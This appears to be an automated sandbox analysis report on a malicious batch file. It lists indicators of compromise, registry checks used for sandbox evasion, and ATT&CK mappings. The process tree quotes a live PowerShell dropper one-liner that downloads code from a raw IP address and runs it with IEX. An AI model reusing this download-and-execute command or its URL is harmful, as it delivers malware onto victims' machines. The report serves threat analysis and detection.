9a95de86c43fbd364f77ec7ad773847ebf56d1388490861c7ae7d811e79b219c

General

Target

p9h3W74a.bat
Sample

200106-qdgvvy7lle
SHA256

9a95de86c43fbd364f77ec7ad773847ebf56d1388490861c7ae7d811e79b219c

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/p9h3W74a

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 4916 WerFault.exe
Token: SeBackupPrivilege 4916 WerFault.exe
Token: SeDebugPrivilege 4916 WerFault.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

WerFault.exe

pid process

4916 WerFault.exe

description	pid	process
Token: SeRestorePrivilege	4916	WerFault.exe
Token: SeBackupPrivilege	4916	WerFault.exe
Token: SeDebugPrivilege	4916	WerFault.exe

pid	process
4916	WerFault.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU

Program crash 1 IoCs

Processes:

WerFault.exe

pid process

4916 WerFault.exe

pid	process
4916	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\p9h3W74a.bat"
1⤵
PID:4800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/p9h3W74a');Invoke-KAFRZV;Start-Sleep -s 10000"
2⤵
PID:4844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:4916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4916-0-0x0000000004470000-0x0000000004471000-memory.dmp

Filesize
4KB

Download
memory/4916-2-0x0000000004BA0000-0x0000000004BA1000-memory.dmp

Filesize
4KB

Download
memory/4916-967-0x0000000004C90000-0x0000000004C91000-memory.dmp

Filesize
4KB

Download
memory/4916-969-0x0000000002AF0000-0x0000000002AF2000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads